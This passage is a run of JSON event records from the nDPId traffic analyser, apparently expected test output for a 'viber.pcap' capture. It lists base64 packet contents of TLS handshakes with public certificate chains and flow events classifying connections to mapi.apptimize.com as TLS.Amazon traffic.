+02371{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":594735,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcgdFAAOYGb2k2RabiwKgAEQG7kHpPMSmy\/FtrY4AQAG7OPAAAAQEICkywpcYAIWE7jgUumjwsSflXjaztwmxFplmOyeqFjTlAH6ZCRY2Og+XkJADhWliv5FVU\/DWWnJQddCCPoXDozxh3Sbf3Tx2Lf2O470fEQ5ucm3IqbHYX6p0B+PSjs7UlF99i9CQEKQbGZL7NiJ8WFaSfZGeLMdYM+bd9aFFULgAGEjCCBg4wggP2oAMCAQICEDaCXn+1pIGTfvbRc2u5PKYwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZYxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTwwOgYDVQQDEzNDT01PRE8gUlNBIE9yZ2FuaXphdGlvbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5FNmF8kFEV\/8wRB7cPESjF7huAfijX8KpIR3OWfTs84ipCTI8sYtjpD4nNvOP+ThmLgeXQY9Lpt3DX55zPOfKIA1PfDIFz8EuSGVKhdAfVjFtjuXGMtQbvJ99lvyY10\/49FhW+ONFvpEYguSKvq\/NUjdRh08el8HoOq75\/0bkZT8\/w0eDL8y4Ql4tfvdaaK5dS8CmNSH1hqPISYuYY2ANySFIwpIwZUayhjUEQiV+radOSxJAAHqIaFxvn6OkeBEhrj0LDr5FFCPP63XX9qDxvEVsXryhMuzzWHhCKAs6AXbwxaCewWlw3o9Lpnnf8na24w8TfBg7sVFsaiA5zp5pAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUmvMr2s+tT7YvuypISCoStxtCwSQwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgIwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBpijZomh47ZQvgfM+mq3E7r2GkP+RkAUkQ0x2P4tXtZ9OeW5e9Qh4H+dC7bfcylVoiKWL4DJxZVic2oCISEfpH9FHJWXspSqVINXzFl2bgJyU7FXoydUqR+6ZrnuJT+g2ME\/sjuAsSLK7t2x1HkNXQk2l2kTgVNNcY6n68a1jeKjmQA0QESlbYaOX1fGl+nn1US9DYhqtnZhNXXokqF60trr1ADmbtiv9UtMEBy6ngR7oRYY+triNIKsYleYkcQQSVwBHqVyvWtJf6sekVYuxKcXf986Gc2vZrACnFMuf6TuqzKqcYlxxYp0I2X+wUz\/h7DvfdzIgVmppcyPEgx9GGcqEXm666\/myoMtEAdklz9z8nhzy2yS36qpCQyQo="} +02385{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":594742,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcgdJAAOYGb2g2RabiwKgAEQG7kHpPMS9a\/FtrY4AQAG5FUgAAAQEICkywpcYAIWE7CZ\/JaR8HGam\/3rr4C4iCRBYQfwfAgCJff7ww3rrNB3lkVtj\/80+cMLtuHlFL5s29F8TFv8g\/jrEfika3BkNvYi3PUZ1FyorpE4vAx5G+W7b6N0qJ\/vCd2hMmIiwGkD6LE5igGdbd2kpIfz0PiZ0kcksOe0T\/1Da2g3YjWIsUbLhd92FtOXbt3RI9a4eIl5G+wEYCHnYc3bavXE\/1ANacTangnqKO\/LEWeVwh00WBmgw5bG0o1yXStxGQ0Pbeb170+qSLZndyL5uQQCxSEmD5\/7VwLomaeQmJgS3sXHhvgYfx\/FUABXgwggV0MIIEXKADAgECAhAnZu5W60nzjqvXcKL8hN4iMA0GCSqGSIb3DQEBDAUAMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENBIFJvb3QwHhcNMDAwNTMwMTA0ODM4WhcNMjAwNTMwMTA0ODM4WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX\/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs\/Q36nGz637CC9BR++b7Epi9Pf5l\/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu\/Nio5JIk2kNrYrhV\/erBvGy2i\/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP\/0uK3pN\/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma\/RMhnEw6abfFobg2P9A3fvQQoh\/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq\/yapiqcrxXStJLnbsQ\/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo4H0MIHxMB8GA1UdIwQYMBaAFK29mHo0tCb3+sQmVO8DveAky1QaMB0GA1UdDgQWBBS7r34CPfqm8TyEjq3uOJjs2TIy1DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH\/BAUwAwEB\/zARBgNVHSAECjAIMAYGBFUdIAAwRAYDVR0fBD0wOzA5oDegNYYzaHR0cDovL2NybC51c2VydHJ1c3QuY29tL0FkZFRydXN0RXh0ZXJuYWxDQVJvb3QuY3JsMDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOCAQEAZL+D8V+ahdDNuKEpVw3oWvfR6T7ydgRu8VJwux48\/00NdGrMgYIl08OgKl1M9bqLoW3EVAl1x+MnDl2EeTdAE3f1tKwc0DurFxI="} +01140{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":594933,"pkt_caplen":595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":595,"pkt_l4_len":561,"pkt":"MAdNo1+nAA6OMNv9CABFAAJFgdNAAOYGcv42RabiwKgAEQG7kHpPMTUC\/FtrY4AYAG7NjwAAAQEICkywpcYAIWE71u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBDb9v5njLta8VxN6b0FC+ppyxY5VkxPwMAd0CQOK6gpwagWrmk0kj7vl7SySoP1foWZjrA\/Rg81VD1cSGgsnKEQGAQEAyjGOlWQnRs7jjOaoOS5YVEimpQR8PYCIlnQGlXJ9PGtqY1cnoDdKvrw7eORhLNX5KdiOQQVZTg8QcJPYDXxB9t3jI4GlLhSY9mY+AZiNteaLVcHFZFJF\/GmvBPVu9FToyvfpQWxI9v0nYldE3Qdt\/uVFKsy1weuCm\/194Tlgru9gJEc2elKrLfLKgbP8+RaqP9DJ6fvTtH5BOn2IqEsbCQJrMjrfz4v2gZsrbGq+3bzvdOOm0e2wHQW5uu5hzmOWRBwbn+KkUm3ti22iT0Xr73UPGm9FZvLPUwrR8czr5g3uGtnq0vSoWmEhyA55gZmdXrAMETmyLTlUEPIF9Y1XBxYDAwAEDgAAAA=="} +01136{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":25,"source":"viber.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":9,"flow_first_seen":1527155639240,"flow_last_seen":1527155639594,"flow_tot_l4_data_len":5357,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":595,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36986,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mapi.apptimize.com","server_names":"*.apptimize.com,apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Organization Validation Secure Server CA","issuerDN":"C=US, ST=CA, L=Mountain View, O=Apptimize, Inc, OU=PremiumSSL Wildcard, CN=*.apptimize.com","alpn":"http\/1.1","fingerprint":"BC:4C:8F:EC:8B:7B:85:BD:54:61:8B:C0:7B:E7:A2:69:0B:F2:49:E5"}} +00423{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":692482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0C6RAAEAGkT\/AqAARNkWm4pB6Abv8W2tjTzEpsoAQAsMPKQAAAQEICgAhYYBMsKXG"} +00422{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":695975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0C6VAAEAGkT7AqAARNkWm4pB6Abv8W2tjTzEvWoAQAtoJagAAAQEICgAhYYBMsKXG"} +00422{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":696036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0C6ZAAEAGkT3AqAARNkWm4pB6Abv8W2tjTzE1AoAQAvEDqwAAAQEICgAhYYBMsKXG"} +00422{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":696083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0C6dAAEAGkTzAqAARNkWm4pB6Abv8W2tjTzE3E4AQAwcBhAAAAQEICgAhYYBMsKXG"} +00596{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":719698,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OMNv9MAdNo1+nCABFAACyC6hAAEAGkL3AqAARNkWm4pB6Abv8W2tjTzE3E4AYAwcXYgAAAQEICgAhYYdMsKXGFgMDAEYQAABCQQQif0HwmkRgOTneBKTut0tN9AW4SfLVSUzuW3UL\/NJZtYN\/bVPqB\/NGE5BzM1hQLQMxz70nPpE1GBHYkv6b+J8TFAMDAAEBFgMDACgAAAAAAAAAAMmKkUBzXF+f8vviq5uyTbEuut2rNwkbh9Zx9oMXgXoQ"} +00771{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":893475,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"MAdNo1+nAA6OMNv9CABFAAE2gdRAAOYGdAw2RabiwKgAEQG7kHpPMTcT\/Ftr4YAYAG7KuAAAAQEICkywphAAIWGHFgMDAMoEAADGAACowADAn2gqIZctsFDgAFT4WfWm8PIYbZeU7R769Z8VL3YvUFTWOa8LJ0c8IMJNLcPSWP9dGu38MBpgAtm0qVqMlwyGY5hTX2oeGOOHOYcvUqoOcr3ICNrcFLCIEanKE7MyJQ1wgm3DX4a4jDYtzRnGAJZY7ftOdHSfz5WlWP4vEsdw+dBhy5nBtFzqkkVZfZ2OyhkrJA1yw1h66FbYl\/FShg5YCRQ12eiBiNYppwt0BPbNxVdkksUQlcz7moo7w5JApDGiFAMDAAEBFgMDACgD5Lk+bHdoDNdjeRCd6onIzcUsbCayNa6tFCu94gsha1XhJfneFNzu"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"viber.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1527155640085,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36988,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":85923,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8sZJAAEAG60jAqAARNkWm4pB8Abt0c9BwAAAAAKAC\/\/9xAAAAAgQFtAQCCAoAIWHiAAAAAAEDAwc="} +00434{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":261254,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAAOYG9to2RabiwKgAEQG7kHz0FjHkdHPQcaASaN\/u9gAAAgQFtAQCCApMsKZsACFh4gEDAwg="} +00422{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":264334,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0sZNAAEAG60\/AqAARNkWm4pB8Abt0c9Bx9BYx5YAQAq2DyQAAAQEICgAhYg9MsKZs"} +00666{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":275168,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AA6OMNv9MAdNo1+nCABFAADosZRAAEAG6prAqAARNkWm4pB8Abt0c9Bx9BYx5YAYAq1TTQAAAQEICgAhYhBMsKZsFgMBAK8BAACrAwPxHao\/Q96Yxv6ptzoREqGRwhus41t797c9sc55oDAI4gAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABm\/wEAAQAAAAAXABUAABJtYXBpLmFwcHRpbWl6ZS5jb20AFwAAACMAAAANABAADgQDBAEFAwUBBgMGAQIBAAUABQEAAAAAABAACwAJCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"viber.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1527155640085,"flow_last_seen":1527155640275,"flow_tot_l4_data_len":324,"flow_min_l4_data_len":32,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36988,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mapi.apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00421{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":450457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0l3xAAOYGX2Y2RabiwKgAEQG7kHz0FjHldHPRJYAQAG6FIwAAAQEICkywppwAIWIQ"} +02370{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":452297,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcl35AAOYGWbw2RabiwKgAEQG7kHz0FjeNdHPRJYAQAG479QAAAQEICkywppwAIWIQjgUumjwsSflXjaztwmxFplmOyeqFjTlAH6ZCRY2Og+XkJADhWliv5FVU\/DWWnJQddCCPoXDozxh3Sbf3Tx2Lf2O470fEQ5ucm3IqbHYX6p0B+PSjs7UlF99i9CQEKQbGZL7NiJ8WFaSfZGeLMdYM+bd9aFFULgAGEjCCBg4wggP2oAMCAQICEDaCXn+1pIGTfvbRc2u5PKYwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZYxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTwwOgYDVQQDEzNDT01PRE8gUlNBIE9yZ2FuaXphdGlvbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5FNmF8kFEV\/8wRB7cPESjF7huAfijX8KpIR3OWfTs84ipCTI8sYtjpD4nNvOP+ThmLgeXQY9Lpt3DX55zPOfKIA1PfDIFz8EuSGVKhdAfVjFtjuXGMtQbvJ99lvyY10\/49FhW+ONFvpEYguSKvq\/NUjdRh08el8HoOq75\/0bkZT8\/w0eDL8y4Ql4tfvdaaK5dS8CmNSH1hqPISYuYY2ANySFIwpIwZUayhjUEQiV+radOSxJAAHqIaFxvn6OkeBEhrj0LDr5FFCPP63XX9qDxvEVsXryhMuzzWHhCKAs6AXbwxaCewWlw3o9Lpnnf8na24w8TfBg7sVFsaiA5zp5pAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUmvMr2s+tT7YvuypISCoStxtCwSQwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgIwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBpijZomh47ZQvgfM+mq3E7r2GkP+RkAUkQ0x2P4tXtZ9OeW5e9Qh4H+dC7bfcylVoiKWL4DJxZVic2oCISEfpH9FHJWXspSqVINXzFl2bgJyU7FXoydUqR+6ZrnuJT+g2ME\/sjuAsSLK7t2x1HkNXQk2l2kTgVNNcY6n68a1jeKjmQA0QESlbYaOX1fGl+nn1US9DYhqtnZhNXXokqF60trr1ADmbtiv9UtMEBy6ngR7oRYY+triNIKsYleYkcQQSVwBHqVyvWtJf6sekVYuxKcXf986Gc2vZrACnFMuf6TuqzKqcYlxxYp0I2X+wUz\/h7DvfdzIgVmppcyPEgx9GGcqEXm666\/myoMtEAdklz9z8nhzy2yS36qpCQyQo="} +02384{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":452330,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcl39AAOYGWbs2RabiwKgAEQG7kHz0Fj01dHPRJYAQAG6zCgAAAQEICkywppwAIWIQCZ\/JaR8HGam\/3rr4C4iCRBYQfwfAgCJff7ww3rrNB3lkVtj\/80+cMLtuHlFL5s29F8TFv8g\/jrEfika3BkNvYi3PUZ1FyorpE4vAx5G+W7b6N0qJ\/vCd2hMmIiwGkD6LE5igGdbd2kpIfz0PiZ0kcksOe0T\/1Da2g3YjWIsUbLhd92FtOXbt3RI9a4eIl5G+wEYCHnYc3bavXE\/1ANacTangnqKO\/LEWeVwh00WBmgw5bG0o1yXStxGQ0Pbeb170+qSLZndyL5uQQCxSEmD5\/7VwLomaeQmJgS3sXHhvgYfx\/FUABXgwggV0MIIEXKADAgECAhAnZu5W60nzjqvXcKL8hN4iMA0GCSqGSIb3DQEBDAUAMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENBIFJvb3QwHhcNMDAwNTMwMTA0ODM4WhcNMjAwNTMwMTA0ODM4WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX\/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs\/Q36nGz637CC9BR++b7Epi9Pf5l\/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu\/Nio5JIk2kNrYrhV\/erBvGy2i\/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP\/0uK3pN\/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma\/RMhnEw6abfFobg2P9A3fvQQoh\/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq\/yapiqcrxXStJLnbsQ\/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo4H0MIHxMB8GA1UdIwQYMBaAFK29mHo0tCb3+sQmVO8DveAky1QaMB0GA1UdDgQWBBS7r34CPfqm8TyEjq3uOJjs2TIy1DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH\/BAUwAwEB\/zARBgNVHSAECjAIMAYGBFUdIAAwRAYDVR0fBD0wOzA5oDegNYYzaHR0cDovL2NybC51c2VydHJ1c3QuY29tL0FkZFRydXN0RXh0ZXJuYWxDQVJvb3QuY3JsMDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOCAQEAZL+D8V+ahdDNuKEpVw3oWvfR6T7ydgRu8VJwux48\/00NdGrMgYIl08OgKl1M9bqLoW3EVAl1x+MnDl2EeTdAE3f1tKwc0DurFxI="} 